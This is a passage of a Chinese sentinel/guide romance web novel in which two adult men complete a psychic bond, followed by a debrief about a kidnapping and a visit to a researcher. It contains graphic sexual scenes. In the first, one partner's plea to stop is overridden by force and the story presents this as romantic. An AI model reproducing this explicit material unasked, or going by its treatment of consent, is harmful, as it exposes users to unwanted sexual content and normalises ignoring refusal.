江寻刚刚还没有血色的脸颊，此刻泛起了不正常的潮红，微弱的呼吸变得短促而灼热。眉头轻轻拧着，细细密密的汗珠不断从额上渗出，一路滑过眼睫，滑过鼻尖，沿着下颌线滚落下去。口中呼吸间喷出的热气，都在触碰到他的肌肤时化为一蓬潮热细雨。 他明明尚未恢复神志，却紧紧拢在陆厌离身上，贪婪地凑近他颈间嗅闻啄吻着，躁动的身躯像条搁浅的鱼不停挺动，仿佛有什么煎熬与渴望被牢牢锁在了他的躯体中，无法释放。 电光石火之间，陆厌离猛地明白发生了什么。 结合热！ 他们完全绑定后的第一时间里，首先被激发出来的，竟然不是预想中的刻印补全，而是独属于哨向伴侣，在完成最终绑定结合时才会出现的，一生一次的绝妙馈赠——结合热！ “唔！” 陆厌离还在克制着自己，分辨着如今的情势。没有意识，只剩下一点点本能的江寻身上，又有了变化。 无声无息之间，围绕着江寻流转的精神波动，不断扩大，向外蔓延着。 陆厌离惊讶地发现，一刻钟前还几乎无法感知到外界，精神力干涸枯败，垂垂欲死的人，此时竟然在结合热的催化下，凭着来自身躯的本能，飞速恢复着意识生机。 更重要的是，这灼热的情潮，恰恰合了精神补偿最根本的原理。 极度愉悦的感受包裹下，大量新生的精神力，开始飞速从江寻的四肢百骸中重生出来，缠绕着陆厌离的精神力，在他干涸破碎的经脉中游走起来！ 这样的补充速度……也许能让他快速恢复过来？ 陆厌离看着眼前的情势，心中生出祈盼。 一念及此，陆厌离心中最后一丝犹豫也彻底消散。 他不再压制着自己心中，同样被“结合热”点燃的火焰，放任那来自哨兵本能的渴望主宰自己的行动。 “江寻……抱我。” 陆厌离喃喃着，低下头渴慕地凑上江寻颈间，将一声声难抑的长吁短吟，肆无忌惮地吐露在对方耳畔。 在这狭小破碎的岗哨室里，两人忘记了外界的一切纷扰，毫无阻隔地紧紧相拥。 如同眼中只剩下彼此的兽，贪婪地汲取着对方身上的所有。 紧密交缠在一起，被“结合热”带给他们的，最原始最深刻的爱|欲驱动着，尽情地探索、占有、汲取着。 精神力鼓噪着快速重生，缠绕着翩翩起舞。 可此时的陆厌离已经顾不上去管这些。 开始时，两人还好好坐在椅子上。不过一会儿，江寻恢复了许多力气，立刻不耐地环着陆厌离的腿弯站起身来。 他的神志仍未完全清醒，眼睛却已经睁了开来。不过眸底只有一片迷茫泛红，行动间也不似平日里温柔舒缓。 颠着自己的猎物，大起大落。 陆厌离完全挨不着地，全身重量都靠着那一点支撑着，除了汹涌而来的情热，还有种随时会摔落下去的危险感始终萦绕在心头。 这种危险感，在此时，却完全成了热情的催化剂，令他更加专注于爱人为他带来的感受之中。 再加上被结合热扩大的感官信号，不过几下，陆厌离的脑子便被烧得完全迷糊了起来。由着自己的爱人予取予夺。 高高扬起的脖颈上，喉结垂死一般不住滑动着，一点涎水顺着兜不住的嘴角滚落，在颈子上留下一道闪亮的诱人线条。 一道又一道无法克制的声音，响彻整个房间。伴着另一人呼哧呼哧地粗喘，将室内的气氛再一次推向高峰。 陆厌离的双眼半眯着，无意识盯着天花板上的一只被蛛网捕捉到的飞虫。 摇晃的视野让那飞虫的身影，在他眼中不停放大又缩小。 蹲守在一旁的蛛母迈着悠然的步伐一点点靠近，将自己的猎物一口一口，完全吞噬殆尽。 当最后一点飞虫的残骸被完全塞进蛛母的口腹中时，陆厌离也像是被吞没的猎物一般，哀哀凄叫着，被完全拉了下去。 一起坠入混沌。 各种声音响彻在小小的室内，杂物被不小心碰落的声音，衣料摩擦在金属上的声音，闷哼低喘，哭泣吟哦。当然，最明显的便是那道规律循环着的皮肉拍击声。 当趴在桌面上，被穿过碎裂窗户的微风吹拂在面庞上的时候，这点冷意终于拉回了陆厌离的些许理智。 此刻，他的身上已经一片狼藉，大片大片红痕密布。面上被眼泪涎液各种污浊涂得凄惨。 迷蒙的双眼无意识地向外看去，放大的目力令前方的一切都纤毫毕现。急促晃动间，飘荡的视线骤然与一双眼眸毫无预兆地对视。 突如其来的意外强行拉回了一些理智，陆厌离一惊，还欲再看，外间的人却已经毫无异状地移开了视线。 有些眼熟……好像是自己队里的一名下属…… 陆厌离瞬间清醒过来，面上爆红。 此时才想起两人如今的情境…… 这里是岗哨室……四面八方都是窗户，只靠着玻璃上数道裂痕起到一点聊胜于无的遮挡作用…… 外面……外面都是他的下属同僚。 里面还有不少高级哨兵……这个距离，只要他们稍稍注意一下，就能完全听到、看到…… 刚想到这里，又是一道冲击到来。 陆厌离向前一冲，立刻咬牙咽下溢出的半声哼叫。 “江……江寻，别，让我下去。” 陆厌离赤红着脸，挣扎起来。 可他的挣扎，似乎却让此刻完全陷入兽性的猎食者产生了误会。 “啪！” 手掌挥落，白腻一阵波动。 “唔！” 陆厌离一口咬上自己的手腕，收住声音。 江寻不满地看着面前不听话的猎物。 眉头皱起，一手揽上对方腰间，由着自己的性子往后狠狠一拽。 听着耳边骤然响起的哀泣悲鸣，却得意一笑。再次压下对方的肩胛，竟低下身来一口咬上他的后颈。 就像是猫科动物交|配时咬住他们的雌性一般。 “呃嗯！” 一滴鲜红血珠顺着脖颈滚落。 陆厌离眼眸大睁，猛地捂住嘴吞下痛呼。 始作俑者却满足地深深呼吸一口这带着点甜腻的血腥味，一路顺着血痕划过的轨迹舔舐过去，直到把所有腥甜都吞入肚腹。 畅快地低笑一声，像是为自己对猎物的全然掌控，得意洋洋。 紧接着，手上用力叉开，又不由分说地拉着对方再次沉沦下去。 徒劳的抗议挣扎，还没开始便迅速失败。 很快，被牢牢锁住的猎物便再次忘记了一切，被灼灼情热裹挟着重入漩涡。 外间，一位正在打扫战场的士兵，似乎听到了什么动静，稍稍侧头看向不远处的岗哨室。 碎裂的玻璃后，似乎有什么白色的东西在晃动着…… 还未想明白，便被长官一巴掌拍上后脑。 “摸什么鱼呢！赶快干活，打扫完马上归队，穿梭舰马上返航了！” “啊？上校，我们不等少将了吗？” “人家少将还需要你去担心吗？赶紧的！动作快点。” “是是是！哎呀，别打了，疼死了！” 上校再次狠狠在自家不省心的下属背后一拍，推着他走远。 临走前，微微侧头，看了眼不远处。半是欣慰，半是好笑地摇了摇头。 屋子里，陆厌离尚不知道自己贴心的同僚已经帮他解决了后顾之忧。 此时，两人战场再换，双双翻滚在了杂乱的地板上。 一只脚踝高挂在旁边的椅子上，陆厌离已经完全陷入了摆布之中。 他们的精神力早在两颗核心绑定完成的瞬间便彻底融汇起来。 一开始还是陆厌离的精神力占据着压倒性的数量优势。 可经过这么久的彻底补偿之后，却是江寻后来居上，完全将对方压倒下去。 两道源头不同的洪流澎湃交汇，无分彼此，在二人紧密相贴的身躯之间自由穿行，循环轮转。 身躯的每一次靠近都伴随着精神力同样的澎湃奔涌，肉|体与灵魂都在这“结合热”带来的极致刺激中，战栗不已。 陆厌离几乎难以承受一般喘息着，面上却仍刻满了渴望。 拉扯着江寻的脖子低下头来，再次交换一个缠绵亲吻，紧紧拥抱在一起。 两人的心跳鼓动着，逐渐重合，呼吸的节奏渐趋一致，连穿行在两人之间的精神洪流都完美地同步奔驰。 他们像是两个生来就被分隔的半身，经过了漫长的跋涉，终于在此时再次重合为一。 当这种同步达到顶峰的那一刻，江寻一个使劲，揽着爱人重新坐进自己怀里，缠绵的亲吻，吞下口中吐出的哀泣。 极致的愉悦带来汹涌汇聚的精神力洪流，在灵魂深处轰然炸响。 贯穿身心的双重极致快乐，终于成为了冲破混沌的最后一份力量。 江寻的眼睛眨动几下，忽地现出一丝亮光。 黑色的眼瞳中，占据所有的迷茫在这一刻迅速消散退去，取而代之的，是比寻常之时更加清明的熠熠神采。 在这最重要的时候，江寻的神志，终于冲破了所有迷惘，重新归来。 清澈的眸子，在恢复了清明的第一时间便出于本能看向身前，直直对上了近在咫尺间，陆厌离那一片狼藉的面孔，与盈满了信赖与爱恋的双眸。 无需言语，看清陆厌离那似痛苦又似欢愉的表情的刹那，感受到两人身周完美交融的精神力的瞬间，江寻便明了了现在的状况。 这真是……准备完全不如灵机一动？ 江寻轻笑一声，没有丝毫迟疑，轻托上陆厌离的侧脸，主动仰头深深吻了上去。 与此同时，身周气息一改方才的兽性掠夺，变得温和柔软起来。 亲吻中的变化，马上便被最亲密的人感知到。 陆厌离迷蒙的双眼在对上江寻带着笑意的眸子时，瞬间绽放出夹杂着狂喜与全然信赖的光芒。 “江寻！你醒来了？！” 江寻笑着点点头，没有在这时候浪费时间去解释什么，又啄吻两下，拉回陆厌离的注意力，压着他的后脑再次深吻下去。 同时，揽在腰间的手臂也用力按下。 让席卷在两人之间的精神力洪流，引领着他们共同攀向极致欢愉的顶峰。 就在两人身心的双重融合达到最顶点，连灵魂都为之颤动起来，共鸣出声的刹那间—— 一种冥冥中的玄妙感觉凭空而生。 将两人一起笼罩进去的瞬间，陆厌离后腰一热，白皙一片的肌肤下，浮现出只有半片的艳红羽翼。 红色的印痕线条上流光转动，这一次，滑至笔画末端时，没有停留，而是流畅地蔓延了下去。 闪着微光的红线，像被某个看不见的画笔描摹着，往另外半边空白的画布上蔓延过去。 瞬息之间，另外半片对称的鲜红羽翼从冷白皮肤上完全浮现出来，与之前的那半片翅膀，共同构成一对完整而瑰丽的羽翼印痕。 与此同时，江寻的锁骨上，皮肤忽然变得通透起来。一点点银灰色彩从锁骨正中出现，化为两条细长藤蔓，向着两侧蔓延过去。 如有生命一般，交织、缠绕着，像是攀爬在两根锁骨上一般匍匐前进，最后，银光一闪，化为一个华丽而带着丝丝神秘色彩的藤蔓状纹路。 纹路渐渐稳定下来，悄然隐入皮肤之下。 一道莫名气息从上面散发开来，像是在标记着占有，又像是宣布着守护。 至此，刻印补完！ 在刻印正式补完的这一瞬，两人体内那本就因为结合热而汹涌澎湃的精神力，扭成了一股绳，如同在瞬间打破了某种桎梏，开始爆发式的疯狂增长。 一股难以形容的浩瀚精纯精神力量，以他们二人为中心，向着四面轰然扩散开来，无视路线上所有的墙壁阻碍，转瞬之间便席卷方圆百米。 被长官带领着在远处清理战场，处理后续事务的联盟士兵，与M68星域本地随同作战的特遣队员，不论是否身具精神力，都不约而同地感受到一股令人心悸，却又极度平和稳定的强大波动，从他们身上一掠而过。 所有人的动作都不由自主停了下来。 有的莫名其妙，有的眼现惊骇，只有少数几人，若有所思地直起身来，看了看远处那座小小的岗哨室，脸上浮现出或欣慰，或羡慕的神情来。 “这是什么……？”有人忍不住喃喃。 “是完全绑定的时候，激发出的精神力增长。”一位年纪大一些的哨兵解释道，“如果短时间内，精神力增长得过多，满溢出来的部分，就会这样不受控制地散播出来。” “这么强的波动……还只是满溢出来的部分？” “完全……绑定？是陆少将和江寻向导？！” “看来，他们正式结为绑定伴侣了……” “他们在这里结合了？”有人忽然恍然大悟，继而带着兴奋笑意小声惊呼，“那我刚才看见的不就是……” 几个不小心瞥见一丝端倪的士兵，立刻面露兴奋地议论起来。 转瞬之间，整个队伍所有人都知道了这件事，蠢蠢欲动的目光，纷纷偷偷觑向不远处的房间。 落在最后的军部上校无奈苦笑，暗自嘀咕一句。 我可给你遮掩过了，这可不怪我。 而此时，处于风暴中心的两人，丝毫不知道他们即将面对的尴尬场面，正将全副心神都凝聚在自己身上。 两人不约而同地清晰感觉到，原本就浩瀚磅礴的庞大精神力，再次猛增。挤着自己精神海的界限疯狂向着四周扩展开来。 特别是陆厌离，他的精神海本身就已经扩展到了一个极度接近极限的壁垒。 海量的精神力加持下，那道壁垒在力量的冲击下慢慢摇晃起来。 当他的精神力积累到一个程度时，仿佛一下子到达了某个阈值，那道坚固的无形壁垒，被轰然冲垮开来。 奔腾的精神力冲破极限，完全踏入了一片前所未有的新天地！ SS级！ 在经历了生死磨难，最终与此生挚爱，灵肉彻底交融的这一刻，他终于跨越过那道天堑，正式迈入了一个传说中的新领域！ 当力量增长渐渐缓慢下来之后，一生一次的结合热终于缓缓消退下去。 各种提高刺激程度的症状随之渐渐隐没。 一种前所未有的宁静、圆满与安全感洋溢在空气之中。 江寻与陆厌离仍然紧密相拥着，清晰地感受着对方的心脏与自己同频跳动。 强大的力量在血脉中奔涌，平静的精神力场将二人团团笼罩。 一种极深的默契与心意相通之感，在两人心间静静流淌着。一个眼神，一个微笑，便完全明了其中深意。 两人心中，一份相似又完全不同的不安，从这一刻起彻底消散。 至此，来自遥远彼方的两人，历经波折，跨越时间与空间，走过漫长路途。 终于在此刻，成为彼此永远的唯一—— 作者有话说：[托腮]总觉得这章写得还不够好，但是又写不出更好，我是菜鸡。 第250章 【滴滴滴！】 “天盾”号护卫旗舰上， 操作官动作快速地查看一道新的登陆申请。 “身份验证！” 【联盟军部，少将军官，陆厌离。】 “正在验证……验证通过， 欢迎回来，陆厌离少将。” 随着申请被飞速批准，陆厌离驾驶着小型穿梭舰，回到了他们此次调查行动的主旗舰上。 按照牵引将穿梭舰泊入规定的泊位后， 便携着江寻向旗舰中央的指挥室走去。 短短一段路上， 遇到的许多人都面现惊诧地看向两人， 还偶有躲在远处，偷偷观望， 窃窃私语者。 以陆厌离的听觉，自然把所有人议论的东西都尽收耳底。可听清之后便只剩下面红。 他们刚刚完成绑定，暴涨的精神力还张牙舞爪地向外洋溢着。 这也就罢了， 偏偏二人还走在一起， 那些纠缠在一起的精神力，比他们本人还清楚地说明着二人如今的关系。 这么走在一起，简直就像是对外人宣布两人刚刚结合过一样。 更重要的是， 刚刚惊鸿一瞥， 他还看到了之前一起前往D-30行星上的士兵…… 陆厌离有些不好意思地瞥了瞥江寻， 发现对方好像没发现异状， 便也轻咳一声， 没有说破， 只窘迫地装作听不见。 此时才开始有些暗暗后悔， 当时为江寻紧急补偿时怎么那么着急，也没有找个隐蔽些的地方。 陆厌离已经不敢去想，当时发生的事有没有人真切看到了。只想赶快交付了任务返回中央星去， 逃离这些令人尴尬的视线。 江寻倒是什么都没发觉，今天这一遭大起大落的折腾，即使此刻精神力在结合热的帮助下，补偿回来许多，他整个人依然有些萎靡，注意力难以集中，走路也慢腾腾的。 行至指挥室，敲门而入。联盟安全部部长蔚泽洋，同时也是这一次调查组的负责人，已经在里面等着他们了。 “回来了？陆少将，辛苦了。”蔚部长说着站起身来，目光落在跟随在陆厌离身后的江寻身上，“这位就是S级‘寻道者’江寻阁下了吗？幸会！” 江寻稍稍一怔，他等级公布以后便一直在圣所、愈灵殿与家中，三点一线的正常生活着，还没有见过哪位联盟上层。 此刻突然被一位陌生的联盟实权人物用敬称称呼，还有些不甚习惯。 “部长阁下多礼了，您直接叫我江寻就好。” 看到江寻一番历劫归来，态度仍然平和谦逊，蔚泽洋心中松了松，立时高看他一眼。神色间也更加亲近真诚了些。 “江寻向导，此番让你遭遇到如此险境，是联盟安保工作的重大疏忽。我们的工作没有做好，在这里，我代表安全部向您致歉。” 江寻的反应仍有些慢，但神志已经完全清晰了，听到这话微微颔首：“部长阁下言重了，有心人预谋出手，不是这一次，也会是下一次。这谁也无法完全防范。” “你们放心，这一次在众目睽睽之下，揭露他绑架S级向导的罪行，就算是凡纳家，也无法逃脱联盟的追责。之后，我会亲自押解伊莱返回中央星，让他接受联盟最高法庭的公审。”蔚泽洋郑重说道。 说完，当他的目光再次转向陆厌离，感受到二人之间那圆融合一的气场时，先是一怔，随即了然地挑眉微笑。 “二位……这是完成绑定了？”在这段时间里，已经与陆厌离稍稍熟悉起来的蔚泽洋，立刻带着些揶揄看向他，“我是不是该说声恭喜？” 陆厌离耳根微热，抿了抿唇。面上依旧沉稳，嘴角却忍不住露出抹笑意，“这一次能将江寻救回来，多亏了您与大家的共同努力，多谢！” “别这么说，维护联盟的平和安宁，本来就是我们的职责。”蔚泽洋拍了拍陆厌离的肩膀，“好了，好好和我说一说这一次在D-30上发生的事吧。” 陆厌离点了点头，看着蔚泽洋转去办公桌后，回想一遍事件经过，组织一下语言，这才开始向蔚部长汇报整起事件。 “……事态紧急，我直接从外部突破，打断了对方的强行侵染，这才发现，伊莱为了压制S级向导，居然还用上了已经在联盟封禁多年的‘枷锁’拘禁环……”说到这里，陆厌离取出已经被他强行破坏的“枷锁”，放在了蔚泽洋面前。 “……之后，对方为了逃跑，丧心病狂地启动了提前布置好的自毁程序。最后，还是江寻趁其不备，强行使用了精神体封印技能，这才抓住了他。”陆厌离看向江寻，心有余悸地握了握他的手，“糟糕的是，江寻当时本来状态就很差，强行使用技能后，立刻便被反噬受了重伤。” 说到这里，陆厌离就停了下来，后面他是如何为江寻补偿起来的，就不足对外人道了。 “这次行动虽然成功救出了江寻，但是，我们并未在D-30星上发现其他关于生化实验室的线索与证据，无法确定这件事到底与伊莱有没有关系，之后可能不太好对典里密国的人交代。”陆厌离的语气里有些歉意，“现在，核心区域的庄园也被彻底炸毁了。之后，恐怕能从D-30上获得的线索，就更少了。” 蔚泽洋一边听，一边在手下的感应板上记录着什么，听着陆厌离说起了生化实验室的事，摆了摆手：“这个问题你就不用担心了。” “虽然我们当时为了取信于典里密国，在后续的人证上造了假。可M68星域这十几年来发生的异常疫情数据不是假的，凡纳家对于这里的异常注资也是板上钉钉。”他顿了顿，继续道，“他们必定在这里做了些什么。如今连伊莱本人都被我们抓捕了，想来他的下属里，会有人为我们提供新的线索的。” 他抬头，看向这两位刚刚经历了生死危机，成功结合的伴侣，语气缓和下来：“你们两个，一个被绑架囚禁了这么久，一个为了调查营救，这些天也一直在夜以继日的忙碌。” 他看了看萦绕在两人周身不断外溢的精神力，“这一次完全绑定，自身的精神力也增长了不少吧？这时候正该好好休息，稳定下自身的状态。这里后续的清理和调查工作，就交给我来处理。你们先乘穿梭舰返回中央星去吧。” 陆厌离心中的确担心着之前的反噬，会给江寻留下什么隐患，此刻听了蔚泽洋的安排，与江寻对视一眼，应下声来：“是，蔚部长。那后续的事务，就麻烦您了。” “去吧。”蔚泽洋摆了摆手，“到时候公审之前，我会派人再跟你们联系的。你们作为受害人，还需要出庭作证。” 从蔚泽洋的指挥室中出来，两人稍稍休息了一会儿，便再次登上了返回中央星的专用穿梭舰，向着家的方向驶去。 * 一路颠簸，等两人重新回到久违的湖畔住所，时间已经来到了第二天晚间。 直到踏入这个熟悉的，属于他们自己的空间里，两人这才彻底放松下来。 用家里的存粮解决了晚餐，此时也不想再去做什么正事，只想洗漱好，快点去睡觉。 迷蒙的热蒸汽里，陆厌离站在浴室中央闭着眼睛，凭着全自动清洁设施，扫去他一身的疲惫。 洗着洗着，抬手摸上后腰，指尖摩挲在肌肤上，此时却丝毫感觉不到那个印痕的存在。 试图扭身看清后腰上的那片肌肤，可因为位置的关系，努力半天仍是未果。 叹了口气，陆厌离不由蹙眉，低声喃喃：“……怎么在这个地方。” 正想着，却见浴室房门一开，江寻一个闪身，钻了进来。 “嗯？你……你等不及要用浴室了？我马上就好。”陆厌离看着对方已然袒露出来的身形，红了红脸撇过头去，把喷雾口的蒸汽量开大了些，洗澡的动作立时加快。 也不知是为什么，明明他们两人什么亲密事都做过了，可像是洗澡、使用卫生间这种事，每次让对方看到，他仍然会非常不好意思。 江寻当然知道自家爱人这点可爱之处，也没打算强行改变他，只不过…… “看你今天没有用水洗，只用了蒸汽。”江寻上前一步，从身后轻轻拥住陆厌离，下巴往他的肩头上一搭，抬手在他腹部按了按，比热蒸汽更加让人灼烧起来的气息，便带着笑意拂过陆厌离的耳畔。 “身上的尘土能清洗干净，这里面的……”江寻的手指，在对方的腹部打了个圈，“你要怎么洗干净？” 陆厌离反应过来，食髓知味的身体，立刻便有了些异样—— 作者有话说：二更会晚一点[让我康康]写完就发《 》 250-259 第251章 “江寻！你别闹我。” 陆厌离羞恼地推了推他的手， 掩饰般侧过身去，试图掩盖住自己的异动。 江寻也不恼，笑眯眯地由着他动作。 被人逃了开去， 手指便顺势滑向对方的后腰，在那印痕的落处点了点，自然而然地转移了话题。 “刚才怎么听着你不太满意的样子，怎么， 不喜欢我留给你的印痕吗？” 指尖在光洁的肌肤上划动， 那路线， 隐约便是那副羽翼的模样。 若即若离的触碰，像是将那双羽翼勾到了现实里， 一下下在心尖上刮搔，微痒，却又让人留恋不舍。 陆厌离打了个激灵， 不着痕迹地吞咽一口口水， 微微侧过头，顺势跟着他转移了话题：“不是……就是它落在后腰上，平时还一直隐藏着。之前只有你发动技能的时候， 它才有回应， 重新浮现出来。我一直都没看到过它是什么样子的。” 陆厌离轻抬了抬眼， 看一眼江寻， 声音轻轻的， 几不可闻：“这是你留在我身上的印记， 我想看看它。” 江寻指尖顿了顿， 嘴角绽开一个清浅笑意，轻轻在对方腰间一勾，便将人轻轻松松拢进了怀里。 不知是不是因为已经完全绑定的原因， 江寻感觉自己似乎对陆厌离更加渴望了。一会儿看不到就想来找他，看见人了又想把人抱进怀里。这会儿抱在怀里了，心底却又生出些更加糟糕的想法。 “眼睛看不到，你可以用感知去‘看’呀。”江寻目光停留在对方身上，面上却不动声色，状若无事地接着刚才的话题说下去，只是声音不觉暗哑了许多。 点在印痕处的指尖微微用力，在洁白柔韧的后腰上按出一个浅浅小窝。小窝随着指尖的移动徘徊在沟壑上方，看着没有越雷池一步，江寻的目光却已经缓慢滑了下去。 “之前这个刻印不完整，一直只有我一个人可以主动使用。现在，应该我们两个都能用了。”江寻嘴上说着话，心里却有一半心神已经分了出去，追随着移动的目光翻山越岭，探沟下壑。 “而且，你不想知道这是个什么样的技能吗？试试看？” 陆厌离尽量忽略从尾椎间细细弥漫上来的酥麻感，让脑子跟着江寻的话语转动，听到对方的提议，也生出些好奇来。 历史上出现过的刻印伴侣，每一对拥有的技能都不一样，也不知他们的刻印技能，会是什么样子。 “我要……怎么做？”陆厌离半趴在江寻身上，仰头看向他。 江寻低下头，像是累了似的，把脑袋靠向陆厌离，声音低得像是含在嘴里：“之前每一次我传输给你的精神力，都是从这道印痕上涌流出来的对吗？你试试静下心来，把所有的注意力都集中在这个刻印上，把它想象成一个通道，一道门，感应它的存在，然后……推开它。” 陆厌离此刻的注意力，本来就被那徘徊在腰际的指尖吸引着，只是要静下心来难了点。 闭上眼睛，听着耳边一下下有力的心跳声，良久，才终于收束起了心神，向着那道印痕的位置“看”去。 也许哨兵天生就不太擅长这种比较唯心的、更加精细的精神力操控技巧。陆厌离尝试了半天，才在江寻精神力的引导下，真切“看”到了那个通道。 又尝试了好几次，终于找到诀窍，将那道“门”推开了一条缝隙。 当他的精神力真正探入那条通道的刹那，两人烙印在身上的印痕，一起缓缓从皮肤之下浮现出来。 这一刻，一段清晰的“信息”自然而然地浮现在了他们的意识里——正是关于这对刻印所赋予他们的，独一无二能力的认知。 浴室之中安静下来，两人不约而同地分辨着这段“信息”，对于这个神奇的刻印技能，有了一些初步的理解。 “存在镜像？”陆厌离有些疑惑地睁开眼，喃喃道，“什么意思？” 江寻沉吟着，似乎是有了些想法，“在彼此的精神图景中，塑造出特殊的镜像，当使用技能时，获得这个镜像的‘存在定义’……” “很独特，看起来也很有用，是一个有些复杂的技能呢。” 初次的接触，只能获得一个大概的印象，两人也没有深究，只是将这个刻印技能的外在表现记在心里，等待着今后在实践中慢慢熟悉。 水汽氤氲的浴室里，又一道热气喷涌而出，刚好从两人面孔之间拂过，热气吸引到了注意力，让他们的思绪重回当下。 回过神来，陆厌离突然发现，自己不知道什么时候已经习惯性地环上了江寻的脖颈。那道代表着自己的藤蔓印痕，紧紧缠绕在对方的锁骨上，就在自己的眼前闪耀着点点银辉。 陆厌离着迷地紧盯着那道印记，只觉心头一阵鼓胀。 这是我的印记，它将永远留在江寻的身上，就如同他留在我身上的一样。 此刻，他好像才清清楚楚地确认了这个事实。而这个事实，立刻为他带来了莫大的幸福与满足感。 似乎是结合热的余韵仍未完全褪去，此刻的二人，对彼此的情绪变化极为敏感。陆厌离这边心中刚动，江寻便马上察觉到了他心中泛起的波澜。 一上一下两道目光，隔着氤氲水汽，在空气中交汇、碰撞、纠缠在一起。 无形的精神力再次蔓延开来，空气似乎都热了起来，弥漫起一阵甜腻滋味。 陆厌离的目光似有若无地在江寻的唇瓣上停留了一下，喉结滚动。 江寻清浅一笑，看似温文，行动上却比陆厌离更加滚烫直接。 划动在后腰上的小窝，在鲜红的羽翼之间打了个转，毫不犹豫地急转直下，越过山间谷道，绕着尽头处的深谷徘徊一圈，往里一跳，瞬间消失了踪影。 陆厌离闷哼一声，眼角当即开始泛红，忍不住向前躲了躲，前方又在晃动间不小心撞在一起，传来一声“啪”的轻响，面孔瞬间通红。 江寻手上一紧，另一手当即也覆盖上去，团团满握。 “我觉得……”江寻黑眸幽深，内里暗涌流转，“结合热好像又复发了……” 陆厌离急促喘息一声，眼眸中看似盈满了羞涩，深处却是无法掩藏的期待：“那就……帮你治好它。” 未尽的话语消失在渐渐靠近的唇瓣之间，早已纠纠缠缠着盘绕在一起的精神力欢呼雀跃着，在两人之间往复流转。 红色羽翼与银灰藤蔓，如有生命般随着两人的动作起伏鼓动，一波又一波的精神力通过两道印痕，交融、循环，随着它们的主人一起，一下又一下地涌动冲撞着。 陆厌离高昂着头，双手紧紧抱住埋首的那人，肩膀抵在温热的，仍在向外喷涌水蒸汽的墙壁上。 也不知是因为渴望，还是背后的喷气口太过灼热，皱着眉头向前挺了挺胸膛。 迷蒙的双眼盯着自己挂在身前人的肩头上，直直指向天花板的脚尖，目光随着它的摇摆无神地游移。 又是一阵温热水雾从内置在墙壁上的喷气口中喷薄而出，细密的水珠被头顶洒下的灯光，映照成五颜六色的彩虹。 点点水珠落在陆厌离脸上，烫得他一抖。 微张的嘴巴只顾得上呼哧呼哧地喘息，下巴上的水渍也不知是汇聚而成的水珠，还是别的什么东西。 突然，眉头一紧，浑身一抖，从喉间挤出一声承受不住的哀泣。声音刚刚发出一半，又被追赶着翻涌上来的浪潮，再次撞断。 伴着他的哀鸣的，却是一声溢满了满足的轻笑声。 轻轻咬了咬柔韧可爱的小东西，江寻再次转移了阵地。 水雾弥漫之中，前来帮忙清洗的好心人鞠躬尽瘁，却不知怎么回事，像是帮了倒忙。 最后只得勤勤恳恳的，帮助事主再次里里外外洗了个干净，才在浴室的空气消耗干净之前，抱着人走了出去。 呼到略显冰冷的新鲜空气，陆厌离才从昏沉中醒转了些。再次瞧着属于他的印记在眼前晃来晃去，这一次，没有隐忍，近乎痴迷地轻轻舔舐上去。 舌尖沿着那缠绕的纹路徘徊，细致地感受到其中流淌着的属于自己的精神力，确认着自己对于面前这个人的占有。 江寻微低下头，看着陆厌离此刻面上洋溢着的依恋与满足，心中一片柔软。 正好看到旁边蒙着一层浅浅水雾的镜子，手臂微微用力，侧转过身，让他能清晰地透过镜子看到自己的后腰。 “厌离，回头看看。” 耳边的低语唤醒神志，微微沙哑的声音挑动着心弦。 陆厌离懵懂抬头，又在对方的示意下回头看去。 后腰上，那一对艳红的羽翼，正随着肌肉的震颤，不停鼓动着，便像是拥有了生命，正要振翅而飞。 陆厌离碧绿的眼眸瞬间睁大，一眨不眨地紧盯着镜中映照出的那道印痕。那是江寻烙印在自己身上永远的印记。 一种难以言喻的战栗感，混杂着极度的兴奋与强烈的归属感，瞬间席卷全身。 我属于他，永远。 这个清晰的认知从心底漫了上来，这样完完全全为江寻所占有的感觉，让他沉醉又着迷。 陆厌离带着哭腔低吟一声，四肢用力，盘绕更紧。顿时，后腰上那对羽翼更加灵动起来，忽上忽下地快速挥舞着翅膀。 “这是我的印记，是你属于我的证据。” 面对着爱人的主动与急切，江寻心中同样满溢着巨大的满足。 伴着越发急促的拍击声，他透过镜子看着那双艳红羽翼，看着它光晕流转，看着它振翅挥舞。 “你看，它快要飞起来了，真美……”—— 作者有话说：二更来啦 第252章 晨星刚刚升起， 交颈而眠的一对爱人呼吸悠长。 静谧的气氛却被一阵急促通讯音打破。 “嗯？”江寻迷迷糊糊睁开眼睛，扭过头去，摸索着从床头取过终端。显示屏上， 尼克斯的名字不断跳跃。 通讯刚一接通，江寻还来不及说话，尼克斯那边已经语速极快地开了口：“江寻！你回来了？索珠殿主刚刚告诉我，蔚部长那边发来消息， 你们已经成功从伊莱手上脱险了？怎么样， 你还好吗？” “尼克斯组长， ”江寻抱歉地看了一眼被这番动静吵醒的陆厌离，安抚地拍了拍他的肩膀， “多谢关心，我昨天刚刚回来。现在感觉还不错，应该没什么大问题。” “那就好！”尼克斯对于好友的担忧一放下， 属于研究者的好奇心立刻涌了上来， “我还听说，你们已经完成绑定了？感觉怎么样？怎么突然就绑定了，遇到什么契机了吗？你们绑定前后有没有什么特别的感觉？你之前说的那个不完整的刻印怎么样？补完了吗？” 尼克斯一开口就不停歇地砸来一连串问题。江寻无奈地笑了笑， 看了看已经清醒过来的陆厌离， “要不然， 我和厌离待会儿过去一趟吧？正好， 我们身上出现了一些变化， 我也想要过去好好检测一下， 和您讨论讨论。” “真的？！那当然好了！”尼克斯的声音雀跃起来， “那你们快过来，我在愈灵殿等你们！” “好，”江寻看了看时间， “我们大概半个小时后过去。” 听着江寻议定好的行程，陆厌离赞同地点了点头，“是尼克斯？‘枷锁’被封禁之后，已经很久没有出现向导被‘枷锁’所伤的事件了，说不定这里面还有什么隐患，你确实应该马上去做一份专业的评估。” “嗯，还有你。”江寻摸索着陆厌离的手掌，“前所未有的SS级哨兵，趁着这时候刚刚升阶，你也该快点去做个检测，听听专业人员的建议。” 既然已经约好了时间，两人便迅速起身洗漱整理。 为了检测结果更准确，他们连早饭都没吃，架起悬浮车，就相携着，向着愈灵殿的方向驶去。 天边，属于中央星的独特橙红朝霞才刚刚露出半阙瑰色，无人知道，这本该平凡的一天，会因两个人的回归，发生什么样的变化。 尼克斯果然还是如他往日里一样心急，两人驾驶的悬浮车还没降下高度，已经看到他站在下面不住地挥着手。那个兴奋劲儿，丝毫没有愈灵殿高级研究组组长的稳重风范。 江寻一笑，这寻常的一幕，他却是许久都没有见过了。 如今再看到这画面，这才有了自己已经回到正常生活轨迹中的感觉。 